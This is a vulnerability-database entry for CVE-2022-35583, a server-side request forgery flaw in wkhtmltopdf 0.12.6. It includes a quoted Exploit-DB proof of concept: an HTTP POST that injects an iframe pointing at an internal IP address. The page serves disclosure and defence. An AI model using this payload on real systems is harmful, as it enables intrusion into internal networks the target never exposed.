CVE-2022-35583
Description
wkhtmlTOpdf 0.12.6 is vulnerable to SSRF which allows an attacker to get initial access into the target's system by injecting iframe tag with initial asset IP address on it's source. This allows the attacker to takeover the whole infrastructure by accessing their internal assets.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
wkhtmltopdf 0.12.6 - Server Side Request Forgery
# Exploit Title: wkhtmltopdf 0.12.6 - Server Side Request Forgery
# Date: 20/8/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: https://wkhtmltopdf.org
# Software Link: https://wkhtmltopdf.org/downloads.html
# Version: 0.12.6
# Tested on: Windows ASP.NET <http://asp.net/>
POST /PDF/FromHTML HTTP/1.1
Host: vulnerable.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
__RequestVerificationToken=Token&header=<PDFstructure+>....&data= <PDFstructure+>....<iframe+src=“http://10.10.10.1”>OS impact
Debian Affected 2 releases
| Version | Status | Fixed in |
|---|---|---|
| bullseye | Affected | — |
| bookworm | Affected | — |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.